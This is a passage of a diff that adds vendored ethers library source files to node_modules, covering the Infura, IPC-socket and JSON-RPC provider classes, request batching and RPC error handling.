which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +export class InfuraProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The Project ID for the INFURA connection. + */ + readonly projectId!: string; + + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + readonly projectSecret!: null | string; + + /** + * Creates a new **InfuraProvider**. + */ + constructor(_network?: Networkish, projectId?: null | string, projectSecret?: null | string) { + if (_network == null) { _network = "mainnet"; } + const network = Network.from(_network); + if (projectId == null) { projectId = defaultProjectId; } + if (projectSecret == null) { projectSecret = null; } + + const request = InfuraProvider.getRequest(network, projectId, projectSecret); + super(request, network, { staticNetwork: network }); + + defineProperties(this, { projectId, projectSecret }); + } + + _getProvider(chainId: number): AbstractProvider { + try { + return new InfuraProvider(chainId, this.projectId, this.projectSecret); + } catch (error) { } + return super._getProvider(chainId); + } + + isCommunityResource(): boolean { + return (this.projectId === defaultProjectId); + } + + /** + * Creates a new **InfuraWebSocketProvider**. + */ + static getWebSocketProvider(network?: Networkish, projectId?: string): InfuraWebSocketProvider { + return new InfuraWebSocketProvider(network, projectId); + } + + /** + * Returns a prepared request for connecting to %%network%% + * with %%projectId%% and %%projectSecret%%. + */ + static getRequest(network: Network, projectId?: null | string, projectSecret?: null | string): FetchRequest { + if (projectId == null) { projectId = defaultProjectId; } + if (projectSecret == null) { projectSecret = null; } + + const request = new FetchRequest(`https:/\/${ getHost(network.name) }/v3/${ projectId }`); + request.allowGzip = true; + if (projectSecret) { request.setCredentials("", projectSecret); } + + if (projectId === defaultProjectId) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("InfuraProvider"); + return true; + }; + } + + return request; + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-ipcsocket-browser.ts b/node_modules/ethers/src.ts/providers/provider-ipcsocket-browser.ts new file mode 100644 index 000000000000..4f11ba6a592b --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-ipcsocket-browser.ts @@ -0,0 +1,3 @@ +const IpcSocketProvider = undefined; + +export { IpcSocketProvider }; diff --git a/node_modules/ethers/src.ts/providers/provider-ipcsocket.ts b/node_modules/ethers/src.ts/providers/provider-ipcsocket.ts new file mode 100644 index 000000000000..484a5e4514ae --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-ipcsocket.ts @@ -0,0 +1,81 @@ + +import { connect } from "net"; +import { SocketProvider } from "./provider-socket.js"; + +import type { Socket } from "net"; + +import type { JsonRpcApiProviderOptions } from "./provider-jsonrpc.js"; +import type { Networkish } from "./network.js"; + + +// @TODO: Is this sufficient? Is this robust? Will newlines occur between +// all payloads and only between payloads? +function splitBuffer(data: Buffer): { messages: Array, remaining: Buffer } { + const messages: Array = [ ]; + + let lastStart = 0; + while (true) { + const nl = data.indexOf(10, lastStart); + if (nl === -1) { break; } + messages.push(data.subarray(lastStart, nl).toString().trim()); + lastStart = nl + 1; + } + + return { messages, remaining: data.subarray(lastStart) }; +} + +/** + * An **IpcSocketProvider** connects over an IPC socket on the host + * which provides fast access to the node, but requires the node and + * the script run on the same machine. + */ +export class IpcSocketProvider extends SocketProvider { + #socket: Socket; + + /** + * The connected socket. + */ + get socket(): Socket { return this.#socket; } + + constructor(path: string, network?: Networkish, options?: JsonRpcApiProviderOptions) { + super(network, options); + this.#socket = connect(path); + + this.socket.on("ready", async () => { + try { + await this._start(); + } catch (error) { + console.log("failed to start IpcSocketProvider", error); + // @TODO: Now what? Restart? + } + }); + + let response = Buffer.alloc(0); + this.socket.on("data", (data) => { + response = Buffer.concat([ response, data ]); + const { messages, remaining } = splitBuffer(response); + messages.forEach((message) => { + this._processMessage(message); + }); + response = remaining; + }); + + this.socket.on("end", () => { + this.emit("close"); + this.socket.destroy(); + this.socket.end(); + }); + } + + destroy(): void { + this.socket.destroy(); + this.socket.end(); + + super.destroy(); + } + + async _write(message: string): Promise { + if (!message.endsWith("\n")) { message += "\n"; } + this.socket.write(message); + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-jsonrpc.ts b/node_modules/ethers/src.ts/providers/provider-jsonrpc.ts new file mode 100644 index 000000000000..301fa2657169 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-jsonrpc.ts @@ -0,0 +1,1335 @@ +/** + * One of the most common ways to interact with the blockchain is + * by a node running a JSON-RPC interface which can be connected to, + * based on the transport, using: + * + * - HTTP or HTTPS - [[JsonRpcProvider]] + * - WebSocket - [[WebSocketProvider]] + * - IPC - [[IpcSocketProvider]] + * + * @_section: api/providers/jsonrpc:JSON-RPC Provider [about-jsonrpcProvider] + */ + +// @TODO: +// - Add the batching API + +// https://playground.open-rpc.org/?schemaUrl=https://raw.githubusercontent.com/ethereum/eth1.0-apis/assembled-spec/openrpc.json&uiSchema%5BappBar%5D%5Bui:splitView%5D=true&uiSchema%5BappBar%5D%5Bui:input%5D=false&uiSchema%5BappBar%5D%5Bui:examplesDropdown%5D=false + +import { AbiCoder } from "../abi/index.js"; +import { getAddress, resolveAddress } from "../address/index.js"; +import { TypedDataEncoder } from "../hash/index.js"; +import { accessListify, authorizationify } from "../transaction/index.js"; +import { + defineProperties, getBigInt, hexlify, isHexString, toQuantity, toUtf8Bytes, + isError, makeError, assert, assertArgument, + FetchRequest, resolveProperties +} from "../utils/index.js"; + +import { AbstractProvider, UnmanagedSubscriber } from "./abstract-provider.js"; +import { AbstractSigner } from "./abstract-signer.js"; +import { Network } from "./network.js"; +import { FilterIdEventSubscriber, FilterIdPendingSubscriber } from "./subscriber-filterid.js"; +import { PollingEventSubscriber } from "./subscriber-polling.js"; + +import type { TypedDataDomain, TypedDataField } from "../hash/index.js"; +import type { TransactionLike } from "../transaction/index.js"; + +import type { PerformActionRequest, Subscriber, Subscription } from "./abstract-provider.js"; +import type { Networkish } from "./network.js"; +import type { Provider, TransactionRequest, TransactionResponse } from "./provider.js"; +import type { Signer } from "./signer.js"; + +type Timer = ReturnType; + +const Primitive = "bigint,boolean,function,number,string,symbol".split(/,/g); +//const Methods = "getAddress,then".split(/,/g); +function deepCopy(value: T): T { + if (value == null || Primitive.indexOf(typeof(value)) >= 0) { + return value; + } + + // Keep any Addressable + if (typeof((value).getAddress) === "function") { + return value; + } + + if (Array.isArray(value)) { return (value.map(deepCopy)); } + + if (typeof(value) === "object") { + return Object.keys(value).reduce((accum, key) => { + accum[key] = (value)[key]; + return accum; + }, { }); + } + + throw new Error(`should not happen: ${ value } (${ typeof(value) })`); +} + +function stall(duration: number): Promise { + return new Promise((resolve) => { setTimeout(resolve, duration); }); +} + +function getLowerCase(value: string): string { + if (value) { return value.toLowerCase(); } + return value; +} + +interface Pollable { + pollingInterval: number; +} + +function isPollable(value: any): value is Pollable { + return (value && typeof(value.pollingInterval) === "number"); +} + +/** + * A JSON-RPC payload, which are sent to a JSON-RPC server. + */ +export type JsonRpcPayload = { + /** + * The JSON-RPC request ID. + */ + id: number; + + /** + * The JSON-RPC request method. + */ + method: string; + + /** + * The JSON-RPC request parameters. + */ + params: Array | Record; + + /** + * A required constant in the JSON-RPC specification. + */ + jsonrpc: "2.0"; +}; + +/** + * A JSON-RPC result, which are returned on success from a JSON-RPC server. + */ +export type JsonRpcResult = { + /** + * The response ID to match it to the relevant request. + */ + id: number; + + /** + * The response result. + */ + result: any; +}; + +/** + * A JSON-RPC error, which are returned on failure from a JSON-RPC server. + */ +export type JsonRpcError = { + /** + * The response ID to match it to the relevant request. + */ + id: number; + + /** + * The response error. + */ + error: { + code: number; + message?: string; + data?: any; + } +}; + +/** + * When subscribing to the ``"debug"`` event, the [[Listener]] will + * receive this object as the first parameter. + */ +export type DebugEventJsonRpcApiProvider = { + action: "sendRpcPayload", + payload: JsonRpcPayload | Array +} | { + action: "receiveRpcResult", + result: Array +} | { + action: "receiveRpcError", + error: Error +}; + +/** + * Options for configuring a [[JsonRpcApiProvider]]. Much of this + * is targetted towards sub-classes, which often will not expose + * any of these options to their consumers. + * + * **``polling``** - use the polling strategy is used immediately + * for events; otherwise, attempt to use filters and fall back onto + * polling (default: ``false``) + * + * **``staticNetwork``** - do not request chain ID on requests to + * validate the underlying chain has not changed (default: ``null``) + * + * This should **ONLY** be used if it is **certain** that the network + * cannot change, such as when using INFURA (since the URL dictates the + * network). If the network is assumed static and it does change, this + * can have tragic consequences. For example, this **CANNOT** be used + * with MetaMask, since the user can select a new network from the + * drop-down at any time. + * + * **``batchStallTime``** - how long (ms) to aggregate requests into a + * single batch. ``0`` indicates batching will only encompass the current + * event loop. If ``batchMaxCount = 1``, this is ignored. (default: ``10``) + * + * **``batchMaxSize``** - target maximum size (bytes) to allow per batch + * request (default: 1Mb) + * + * **``batchMaxCount``** - maximum number of requests to allow in a batch. + * If ``batchMaxCount = 1``, then batching is disabled. (default: ``100``) + * + * **``cacheTimeout``** - passed as [[AbstractProviderOptions]]. + */ +export type JsonRpcApiProviderOptions = { + polling?: boolean; + staticNetwork?: null | boolean | Network; + batchStallTime?: number; + batchMaxSize?: number; + batchMaxCount?: number; + + cacheTimeout?: number; + pollingInterval?: number; +}; + +const defaultOptions = { + polling: false, + staticNetwork: null, + + batchStallTime: 10, // 10ms + batchMaxSize: (1 << 20), // 1Mb + batchMaxCount: 100, // 100 requests + + cacheTimeout: 250, + pollingInterval: 4000 +} + +/** + * A **JsonRpcTransactionRequest** is formatted as needed by the JSON-RPC + * Ethereum API specification. + */ +export interface JsonRpcTransactionRequest { + /** + * The sender address to use when signing. + */ + from?: string; + + /** + * The target address. + */ + to?: string; + + /** + * The transaction data. + */ + data?: string; + + /** + * The chain ID the transaction is valid on. + */ + chainId?: string; + + /** + * The [[link-eip-2718]] transaction type. + */ + type?: string; + + /** + * The maximum amount of gas to allow a transaction to consume. + * + * In most other places in ethers, this is called ``gasLimit`` which + * differs from the JSON-RPC Ethereum API specification. + */ + gas?: string; + + /** + * The gas price per wei for transactions prior to [[link-eip-1559]]. + */ + gasPrice?: string; + + /** + * The maximum fee per gas for [[link-eip-1559]] transactions. + */ + maxFeePerGas?: string; + + /** + * The maximum priority fee per gas for [[link-eip-1559]] transactions. + */ + maxPriorityFeePerGas?: string; + + /** + * The nonce for the transaction. + */ + nonce?: string; + + /** + * The transaction value (in wei). + */ + value?: string; + + /** + * The transaction access list. + */ + accessList?: Array<{ address: string, storageKeys: Array }>; + + /** + * The transaction authorization list. + */ + authorizationList?: Array<{ + address: string, nonce: string, chainId: string, + yParity: string, r: string, s: string + }>; +} + +// @TODO: Unchecked Signers + +export class JsonRpcSigner extends AbstractSigner { + address!: string; + + constructor(provider: JsonRpcApiProvider, address: string) { + super(provider); + address = getAddress(address); + defineProperties(this, { address }); + } + + connect(provider: null | Provider): Signer { + assert(false, "cannot reconnect JsonRpcSigner", "UNSUPPORTED_OPERATION", { + operation: "signer.connect" + }); + } + + async getAddress(): Promise { + return this.address; + } + + // JSON-RPC will automatially fill in nonce, etc. so we just check from + async populateTransaction(tx: TransactionRequest): Promise> { + return await this.populateCall(tx); + } + + // Returns just the hash of the transaction after sent, which is what + // the bare JSON-RPC API does; + async sendUncheckedTransaction(_tx: TransactionRequest): Promise { + const tx = deepCopy(_tx); + + const promises: Array> = []; + + // Make sure the from matches the sender + if (tx.from) { + const _from = tx.from; + promises.push((async () => { + const from = await resolveAddress(_from, this.provider); + assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), + "from address mismatch", "transaction", _tx); + tx.from = from; + })()); + } else { + tx.from = this.address; + } + + // The JSON-RPC for eth_sendTransaction uses 90000 gas; if the user + // wishes to use this, it is easy to specify explicitly, otherwise + // we look it up for them. + if (tx.gasLimit == null) { + promises.push((async () => { + tx.gasLimit = await this.provider.estimateGas({ ...tx, from: this.address}); + })()); + } + + // The address may be an ENS name or Addressable + if (tx.to != null) { + const _to = tx.to; + promises.push((async () => { + tx.to = await resolveAddress(_to, this.provider); + })()); + } + + // Wait until all of our properties are filled in + if (promises.length) { await Promise.all(promises); } + + const hexTx = this.provider.getRpcTransaction(tx); + + return this.provider.send("eth_sendTransaction", [ hexTx ]); + } + + async sendTransaction(tx: TransactionRequest): Promise { + // This cannot be mined any earlier than any recent block + const blockNumber = await this.provider.getBlockNumber(); + + // Send the transaction + const hash = await this.sendUncheckedTransaction(tx); + + // Unfortunately, JSON-RPC only provides and opaque transaction hash + // for a response, and we need the actual transaction, so we poll + // for it; it should show up very quickly + return await (new Promise((resolve, reject) => { + const timeouts = [ 1000, 100 ]; + let invalids = 0; + + const checkTx = async () => { + + try { + // Try getting the transaction + const tx = await this.provider.getTransaction(hash); + + if (tx != null) { + resolve(tx.replaceableTransaction(blockNumber)); + return; + } + + } catch (error) { + + // If we were cancelled: stop polling. + // If the data is bad: the node returns bad transactions + // If the network changed: calling again will also fail + // If unsupported: likely destroyed + if (isError(error, "CANCELLED") || isError(error, "BAD_DATA") || + isError(error, "NETWORK_ERROR") || isError(error, "UNSUPPORTED_OPERATION")) { + + if (error.info == null) { error.info = { }; } + error.info.sendTransactionHash = hash; + + reject(error); + return; + } + + // Stop-gap for misbehaving backends; see #4513 + if (isError(error, "INVALID_ARGUMENT")) { + invalids++; + if (error.info == null) { error.info = { }; } + error.info.sendTransactionHash = hash; + if (invalids > 10) { + reject(error); + return; + } + } + + // Notify anyone that cares; but we will try again, since + // it is likely an intermittent service error + this.provider.emit("error", makeError("failed to fetch transation after sending (will try again)", "UNKNOWN_ERROR", { error })); + } + + // Wait another 4 seconds + this.provider._setTimeout(() => { checkTx(); }, timeouts.pop() || 4000); + }; + checkTx(); + })); + } + + async signTransaction(_tx: TransactionRequest): Promise { + const tx = deepCopy(_tx); + + // Make sure the from matches the sender + if (tx.from) { + const from = await resolveAddress(tx.from, this.provider); + assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), + "from address mismatch", "transaction", _tx); + tx.from = from; + } else { + tx.from = this.address; + } + + const hexTx = this.provider.getRpcTransaction(tx); + return await this.provider.send("eth_signTransaction", [ hexTx ]); + } + + + async signMessage(_message: string | Uint8Array): Promise { + const message = ((typeof(_message) === "string") ? toUtf8Bytes(_message): _message); + return await this.provider.send("personal_sign", [ + hexlify(message), this.address.toLowerCase() ]); + } + + async signTypedData(domain: TypedDataDomain, types: Record>, _value: Record): Promise { + const value = deepCopy(_value); + + // Populate any ENS names (in-place) + const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (value: string) => { + const address = await resolveAddress(value); + assertArgument(address != null, "TypedData does not support null address", "value", value); + return address; + }); + + return await this.provider.send("eth_signTypedData_v4", [ + this.address.toLowerCase(), + JSON.stringify(TypedDataEncoder.getPayload(populated.domain, types, populated.value)) + ]); + } + + async unlock(password: string): Promise { + return this.provider.send("personal_unlockAccount", [ + this.address.toLowerCase(), password, null ]); + } + + // https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign + async _legacySignMessage(_message: string | Uint8Array): Promise { + const message = ((typeof(_message) === "string") ? toUtf8Bytes(_message): _message); + return await this.provider.send("eth_sign", [ + this.address.toLowerCase(), hexlify(message) ]); + } +} + +type ResolveFunc = (result: JsonRpcResult) => void; +type RejectFunc = (error: Error) => void; + +type Payload = { payload: JsonRpcPayload, resolve: ResolveFunc, reject: RejectFunc }; + +/** + * The JsonRpcApiProvider is an abstract class and **MUST** be + * sub-classed. + * + * It provides the base for all JSON-RPC-based Provider interaction. + * + * Sub-classing Notes: + * - a sub-class MUST override _send + * - a sub-class MUST call the `_start()` method once connected + */ +export abstract class JsonRpcApiProvider extends AbstractProvider { + + #options: Required; + + // The next ID to use for the JSON-RPC ID field + #nextId: number; + + // Payloads are queued and triggered in batches using the drainTimer + #payloads: Array; + #drainTimer: null | Timer; + + #notReady: null | { + promise: Promise, + resolve: null | ((v: void) => void) + }; + + #network: null | Network; + #pendingDetectNetwork: null | Promise; + + #scheduleDrain(): void { + if (this.#drainTimer) { return; } + + // If we aren't using batching, no harm in sending it immediately + const stallTime = (this._getOption("batchMaxCount") === 1) ? 0: this._getOption("batchStallTime"); + + this.#drainTimer = setTimeout(() => { + this.#drainTimer = null; + + const payloads = this.#payloads; + this.#payloads = [ ]; + + while (payloads.length) { + + // Create payload batches that satisfy our batch constraints + const batch = [ (payloads.shift()) ]; + while (payloads.length) { + if (batch.length === this.#options.batchMaxCount) { break; } + batch.push((payloads.shift())); + const bytes = JSON.stringify(batch.map((p) => p.payload)); + if (bytes.length > this.#options.batchMaxSize) { + payloads.unshift((batch.pop())); + break; + } + } + + // Process the result to each payload + (async () => { + const payload = ((batch.length === 1) ? batch[0].payload: batch.map((p) => p.payload)); + + this.emit("debug", { action: "sendRpcPayload", payload }); + + try { + const result = await this._send(payload); + this.emit("debug", { action: "receiveRpcResult", result }); + + // Process results in batch order + for (const { resolve, reject, payload } of batch) { + + if (this.destroyed) { + reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: payload.method })); + continue; + } + + // Find the matching result + const resp = result.filter((r) => (r.id === payload.id))[0]; + + // No result; the node failed us in unexpected ways + if (resp == null) { + const error = makeError("missing response for request", "BAD_DATA", { + value: result, info: { payload } + }); + this.emit("error", error); + reject(error); + continue; + } + + // The response is an error + if ("error" in resp) { + reject(this.getRpcError(payload, resp)); + continue; + } + + // All good; send the result + resolve(resp.result); + } + + } catch (error: any) { + this.emit("debug", { action: "receiveRpcError", error }); + + for (const { reject } of batch) { + // @TODO: augment the error with the payload + reject(error); + } + } + })(); + } + }, stallTime); + } + + constructor(network?: Networkish, options?: JsonRpcApiProviderOptions) { + super(network, options); + + this.#nextId = 1; + this.#options = Object.assign({ }, defaultOptions, options || { }); + + this.#payloads = [ ]; + this.#drainTimer = null; + + this.#network = null; + this.#pendingDetectNetwork = null; + + { + let resolve: null | ((value: void) => void) = null; + const promise = new Promise((_resolve: (value: void) => void) => { + resolve = _resolve; + }); + this.#notReady = { promise, resolve }; + } + + const staticNetwork = this._getOption("staticNetwork"); + if (typeof(staticNetwork) === "boolean") { + assertArgument(!staticNetwork || network !== "any", "staticNetwork cannot be used on special network 'any'", "options", options); + if (staticNetwork && network != null) { + this.#network = Network.from(network); + } + + } else if (staticNetwork) { + // Make sure any static network is compatbile with the provided netwrok + assertArgument(network == null || staticNetwork.matches(network), + "staticNetwork MUST match network object", "options", options); + this.#network = staticNetwork; + } + } + + /** + * Returns the value associated with the option %%key%%. + * + * Sub-classes can use this to inquire about configuration options. + */ + _getOption(key: K): JsonRpcApiProviderOptions[K] { + return this.#options[key]; + } + + /** + * Gets the [[Network]] this provider has committed to. On each call, the network + * is detected, and if it has changed, the call will reject. + */ + get _network(): Network { + assert (this.#network, "network is not available yet", "NETWORK_ERROR"); + return this.#network; + } + + /** + * Sends a JSON-RPC %%payload%% (or a batch) to the underlying channel. + * + * Sub-classes **MUST** override this. + */ + abstract _send(payload: JsonRpcPayload | Array): Promise>; + + + /** + * Resolves to the non-normalized value by performing %%req%%. + * + * Sub-classes may override this to modify behavior of actions, + * and should generally call ``super._perform`` as a fallback. + */ + async _perform(req: PerformActionRequest): Promise { + + // Legacy networks do not like the type field being passed along (which + // is fair), so we delete type if it is 0 and a non-EIP-1559 network + if (req.method === "call" || req.method === "estimateGas") { + let tx = req.transaction; + if (tx && tx.type != null && getBigInt(tx.type)) { + // If there are no EIP-1559 or newer properties, it might be pre-EIP-1559 + if (tx.maxFeePerGas == null && tx.maxPriorityFeePerGas == null) { + const feeData = await this.getFeeData(); + if (feeData.maxFeePerGas == null && feeData.maxPriorityFeePerGas == null) { + // Network doesn't know about EIP-1559 (and hence type) + req = Object.assign({ }, req, { + transaction: Object.assign({ }, tx, { type: undefined }) + }); + } + } + } + } + + const request = this.getRpcRequest(req); + + if (request != null) { + return await this.send(request.method, request.args); + } + + return super._perform(req); + } + + /** + * Sub-classes may override this; it detects the *actual* network that + * we are **currently** connected to. + * + * Keep in mind that [[send]] may only be used once [[ready]], otherwise the + * _send primitive must be used instead. + */ + async _detectNetwork(): Promise { + const network = this._getOption("staticNetwork"); + if (network) { + if (network === true) { + if (this.#network) { return this.#network; } + } else { + return network; + } + } + + if (this.#pendingDetectNetwork) { + return await this.#pendingDetectNetwork; + } + + // If we are ready, use ``send``, which enabled requests to be batched + if (this.ready) { + this.#pendingDetectNetwork = (async () => { + try { + const result = Network.from(getBigInt(await this.send("eth_chainId", [ ]))); + this.#pendingDetectNetwork = null; + return result; + } catch (error) { + this.#pendingDetectNetwork = null; + throw error; + } + })(); + return await this.#pendingDetectNetwork; + } + + // We are not ready yet; use the primitive _send + this.#pendingDetectNetwork = (async () => { + const payload: JsonRpcPayload = { + id: this.#nextId++, method: "eth_chainId", params: [ ], jsonrpc: "2.0" + }; + + this.emit("debug", { action: "sendRpcPayload", payload }); + + let result: JsonRpcResult | JsonRpcError; + try { + result = (await this._send(payload))[0]; + this.#pendingDetectNetwork = null; + } catch (error) { + this.#pendingDetectNetwork = null; + this.emit("debug", { action: "receiveRpcError", error }); + throw error; + } + + this.emit("debug", { action: "receiveRpcResult", result }); + + if ("result" in result) { + return Network.from(getBigInt(result.result)); + } + + throw this.getRpcError(payload, result); + })(); + + return await this.#pendingDetectNetwork; + } + + /** + * Sub-classes **MUST** call this. Until [[_start]] has been called, no calls + * will be passed to [[_send]] from [[send]]. If it is overridden, then + * ``super._start()`` **MUST** be called. + * + * Calling it multiple times is safe and has no effect. + */ + _start(): void { + if (this.#notReady == null || this.#notReady.resolve == null) { return; } + + this.#notReady.resolve(); + this.#notReady = null; + + (async () => { + + // Bootstrap the network + while (this.#network == null && !this.destroyed) { + try { + this.#network = await this._detectNetwork(); + } catch (error) { + if (this.destroyed) { break; } + console.log("JsonRpcProvider failed to detect network and cannot start up; retry in 1s (perhaps the URL is wrong or the node is not started)"); + this.emit("error", makeError("failed to bootstrap network detection", "NETWORK_ERROR", { event: "initial-network-discovery", info: { error } })); + await stall(1000); + } + } + + // Start dispatching requests + this.#scheduleDrain(); + })(); + } + + /** + * Resolves once the [[_start]] has been called. This can be used in + * sub-classes to defer sending data until the connection has been + * established. + */ + async _waitUntilReady(): Promise { + if (this.#notReady == null) { return; } + return await this.#notReady.promise; + } + + + /** + * Return a Subscriber that will manage the %%sub%%. + * + * Sub-classes may override this to modify the behavior of + * subscription management. + */ + _getSubscriber(sub: Subscription): Subscriber { + + // Pending Filters aren't availble via polling + if (sub.type === "pending") { return new FilterIdPendingSubscriber(this); } + + if (sub.type === "event") { + if (this._getOption("polling")) { + return new PollingEventSubscriber(this, sub.filter); + } + return new FilterIdEventSubscriber(this, sub.filter); + } + + // Orphaned Logs are handled automatically, by the filter, since + // logs with removed are emitted by it + if (sub.type === "orphan" && sub.filter.orphan === "drop-log") { + return new UnmanagedSubscriber("orphan"); + } + + return super._getSubscriber(sub); + } + + /** + * Returns true only if the [[_start]] has been called. + */ + get ready(): boolean { return this.#notReady == null; } + + /** + * Returns %%tx%% as a normalized JSON-RPC transaction request, + * which has all values hexlified and any numeric values converted + * to Quantity values. + */ + getRpcTransaction(tx: TransactionRequest): JsonRpcTransactionRequest { + const result: JsonRpcTransactionRequest = {}; + + // JSON-RPC now requires numeric values to be "quantity" values + ["chainId", "gasLimit", "gasPrice", "type", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "value"].forEach((key) => { + if ((tx)[key] == null) { return; } + let dstKey = key; + if (key === "gasLimit") { dstKey = "gas"; } + (result)[dstKey] = toQuantity(getBigInt((tx)[key], `tx.${ key }`)); + }); + + // Make sure addresses and data are lowercase + ["from", "to", "data"].forEach((key) => { + if ((tx)[key] == null) { return; } + (result)[key] = hexlify((tx)[key]); + }); + + // Normalize the access list object + if (tx.accessList) { + result["accessList"] = accessListify(tx.accessList); + } + + if (tx.blobVersionedHashes) { + // @TODO: Remove this case once EIP-4844 added to prepared tx + (result)["blobVersionedHashes"] = tx.blobVersionedHashes.map(h => h.toLowerCase()); + } + + if (tx.authorizationList) { + result["authorizationList"] = tx.authorizationList.map((_a) => { + const a = authorizationify(_a); + return { + address: a.address, + nonce: toQuantity(a.nonce), + chainId: toQuantity(a.chainId), + yParity: toQuantity(a.signature.yParity), + r: toQuantity(a.signature.r), + s: toQuantity(a.signature.s), + } + }); + } + + // @TODO: blobs should probably also be copied over, optionally + // accounting for the kzg property to backfill blobVersionedHashes + // using the commitment. Or should that be left as an exercise to + // the caller? + + return result; + } + + /** + * Returns the request method and arguments required to perform + * %%req%%. + */ + getRpcRequest(req: PerformActionRequest): null | { method: string, args: Array } { + switch (req.method) { + case "chainId": + return { method: "eth_chainId", args: [ ] }; + + case "getBlockNumber": + return { method: "eth_blockNumber", args: [ ] }; + + case "getGasPrice": + return { method: "eth_gasPrice", args: [] }; + + case "getPriorityFee": + return { method: "eth_maxPriorityFeePerGas", args: [ ] }; + + case "getBalance": + return { + method: "eth_getBalance", + args: [ getLowerCase(req.address), req.blockTag ] + }; + + case "getTransactionCount": + return { + method: "eth_getTransactionCount", + args: [ getLowerCase(req.address), req.blockTag ] + }; + + case "getCode": + return { + method: "eth_getCode", + args: [ getLowerCase(req.address), req.blockTag ] + }; + + case "getStorage": + return { + method: "eth_getStorageAt", + args: [ + getLowerCase(req.address), + ("0x" + req.position.toString(16)), + req.blockTag + ] + }; + + case "broadcastTransaction": + return { + method: "eth_sendRawTransaction", + args: [ req.signedTransaction ] + }; + + case "getBlock": + if ("blockTag" in req) { + return { + method: "eth_getBlockByNumber", + args: [ req.blockTag, !!req.includeTransactions ] + }; + } else if ("blockHash" in req) { + return { + method: "eth_getBlockByHash", + args: [ req.blockHash, !!req.includeTransactions ] + }; + } + break; + + case "getTransaction": + return { + method: "eth_getTransactionByHash", + args: [ req.hash ] + }; + + case "getTransactionReceipt": + return { + method: "eth_getTransactionReceipt", + args: [ req.hash ] + }; + + case "call": + return { + method: "eth_call", + args: [ this.getRpcTransaction(req.transaction), req.blockTag ] + }; + + case "estimateGas": { + return { + method: "eth_estimateGas", + args: [ this.getRpcTransaction(req.transaction) ] + }; + } + + case "getLogs": + if (req.filter && req.filter.address != null) { + if (Array.isArray(req.filter.address)) { + req.filter.address = req.filter.address.map(getLowerCase); + } else { + req.filter.address = getLowerCase(req.filter.address); + } + } + return { method: "eth_getLogs", args: [ req.filter ] }; + } + + return null; + } + + /** + * Returns an ethers-style Error for the given JSON-RPC error + * %%payload%%, coalescing the various strings and error shapes + * that different nodes return, coercing them into a machine-readable + * standardized error. + */ + getRpcError(payload: JsonRpcPayload, _error: JsonRpcError): Error { + const { method } = payload; + const { error } = _error; + + if (method === "eth_estimateGas" && error.message) { + const msg = error.message; + if (!msg.match(/revert/i) && msg.match(/insufficient funds/i)) { + return makeError("insufficient funds", "INSUFFICIENT_FUNDS", { + transaction: ((payload).params[0]), + info: { payload, error } + }); + } else if (msg.match(/nonce/i) && msg.match(/too low/i)) { + return makeError("nonce has already been used", "NONCE_EXPIRED", { + transaction: ((payload).params[0]), + info: { payload, error } + }); + } + } + + if (method === "eth_call" || method === "eth_estimateGas") { + const result = spelunkData(error); + + const e = AbiCoder.getBuiltinCallException( + (method === "eth_call") ? "call": "estimateGas", + ((payload).params[0]), + (result ? result.data: null) + ); + e.info = { error, payload }; + return e; + } + + // Only estimateGas and call can return arbitrary contract-defined text, so now we + // we can process text safely. + + const message = JSON.stringify(spelunkMessage(error)); + + if (typeof(error.message) === "string" && error.message.match(/user denied|ethers-user-denied/i)) { + const actionMap: Record = { + eth_sign: "signMessage", + personal_sign: "signMessage", + eth_signTypedData_v4: "signTypedData", + eth_signTransaction: "signTransaction", + eth_sendTransaction: "sendTransaction", + eth_requestAccounts: "requestAccess", + wallet_requestAccounts: "requestAccess", + }; + + return makeError(`user rejected action`, "ACTION_REJECTED", { + action: (actionMap[method] || "unknown") , + reason: "rejected", + info: { payload, error } + }); + } + + if (method === "eth_sendRawTransaction" || method === "eth_sendTransaction") { + const transaction = >((payload).params[0]); + + if (message.match(/insufficient funds|base fee exceeds gas limit/i)) { + return makeError("insufficient funds for intrinsic transaction cost", "INSUFFICIENT_FUNDS", { + transaction, info: { error } + }); + } + + if (message.match(/nonce/i) && message.match(/too low/i)) { + return makeError("nonce has already been used", "NONCE_EXPIRED", { transaction, info: { error } }); + } + + // "replacement transaction underpriced" + if (message.match(/replacement transaction/i) && message.match(/underpriced/i)) { + return makeError("replacement fee too low", "REPLACEMENT_UNDERPRICED", { transaction, info: { error } }); + } + + if (message.match(/only replay-protected/i)) { + return makeError("legacy pre-eip-155 transactions not supported", "UNSUPPORTED_OPERATION", { + operation: method, info: { transaction, info: { error } } + }); + } + } + + let unsupported = !!message.match(/the method .* does not exist/i); + if (!unsupported) { + if (error && (error).details && (error).details.startsWith("Unauthorized method:")) { + unsupported = true; + } + } + + if (unsupported) { + return makeError("unsupported operation", "UNSUPPORTED_OPERATION", { + operation: payload.method, info: { error, payload } + }); + } + + return makeError("could not coalesce error", "UNKNOWN_ERROR", { error, payload }); + } + + + /** + * Requests the %%method%% with %%params%% via the JSON-RPC protocol + * over the underlying channel. This can be used to call methods + * on the backend that do not have a high-level API within the Provider + * API. + * + * This method queues requests according to the batch constraints + * in the options, assigns the request a unique ID. + * + * **Do NOT override** this method in sub-classes; instead + * override [[_send]] or force the options values in the + * call to the constructor to modify this method's behavior. + */ + send(method: string, params: Array | Record): Promise { + // @TODO: cache chainId?? purge on switch_networks + + // We have been destroyed; no operations are supported anymore + if (this.destroyed) { + return Promise.reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: method })); + } + + const id = this.#nextId++; + const promise = new Promise((resolve, reject) => { + this.#payloads.push({ + resolve, reject, + payload: { method, params, id, jsonrpc: "2.0" } + }); + }); + + // If there is not a pending drainTimer, set one + this.#scheduleDrain(); + + return >promise; + } + + /** + * 